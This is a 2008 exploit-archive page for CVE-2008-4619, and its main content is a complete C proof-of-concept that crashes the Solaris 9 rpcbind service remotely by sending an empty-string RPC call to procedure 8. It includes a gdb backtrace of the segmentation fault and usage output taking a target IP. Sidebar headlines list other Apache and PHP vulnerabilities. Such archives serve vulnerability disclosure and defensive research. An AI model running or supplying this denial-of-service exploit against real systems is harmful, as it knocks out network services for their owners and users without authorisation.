SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS Exploit


Arrow  SecurityAlert : 4440
Arrow  CVE : CVE-2008-4619
Arrow  CWE : CWE-NOMAPPING
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   4929
Arrow  Credit : Federico L. Bossi Bonin
Arrow  Published : 22.10.2008

Arrow  Affected Software : cpe:/o:sun:solaris:9



Arrow  Advisory Content :  

/*
////////////////////////////////////////////////////////////
// Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS
////////////////////////////////////////////////////////////
//
// Federico L. Bossi Bonin
// fbossi[at]globalST[dot]com[dot]ar
/////////////////////////////////////////////////////


Program received signal SIGSEGV, Segmentation fault.
0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
(gdb) backtrace
#0 0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
#1 0x00013d88 in rpcbproc_taddr2uaddr_com ()
#2 0x000161c0 in rpcb_service_4 ()
(gdb)

*/

#include <string.h>
#include <rpc/rpc.h>

struct xdr {
long long_arg;
char *string_arg;
};

typedef struct xdr xdr;
static struct timeval TIMEOUT = { 25, 0 };

bool_t xdr_xdr (XDR *xdrs, xdr *objp) {
register int32_t *buf;

if (!xdr_long (xdrs, &objp->long_arg))
return FALSE;
if (!xdr_string (xdrs, &objp->string_arg, 4096))
return FALSE;
return TRUE;
}

char ** str_4(xdr *argp, CLIENT *clnt) {
static char *clnt_res;

memset((char *)&clnt_res, 0, sizeof(clnt_res));
if (clnt_call (clnt, 8,
(xdrproc_t) xdr_xdr, (caddr_t) argp,
(xdrproc_t) xdr_wrapstring, (caddr_t) &clnt_res,
TIMEOUT) != RPC_SUCCESS) {
return (NULL);
}
return (&clnt_res);
}

main(int argc, char *argv[]) {
CLIENT *c1;
char *server;
char **sresult;


if (argc !=2){

printf("=============================================================\n");
printf("Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS\n");

printf("-------------------------------------------------------------\n");
printf("Federico L. Bossi Bonin <fbossi@globalST.com.ar>\n");

printf("=============================================================\n\n")
;
printf("usage: %s <IP>\n",argv[0]);
exit(1);
}

server = argv[1];

if ((c1 = clnt_create(server,100000, 4, "tcp")) == NULL){
clnt_pcreateerror(server);
exit(1);
}

xdr xdrmessage;
xdrmessage.long_arg = 0;
xdrmessage.string_arg="";

if ((sresult = str_4(&xdrmessage, c1)) == NULL){
clnt_perror(c1, server);
exit(1);
}

clnt_destroy(c1);
exit(0);
}



Arrow  References :

http://securityreason.com/expldownload/1/4929/1 (Exploit)
http://www.milw0rm.com/exploits/6775




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

» PHP 5.3.0 5.2.11
   posix_mkfifo()
   open_basedir bypass

Copyright © SecurityReason.com. All Rights Reserved.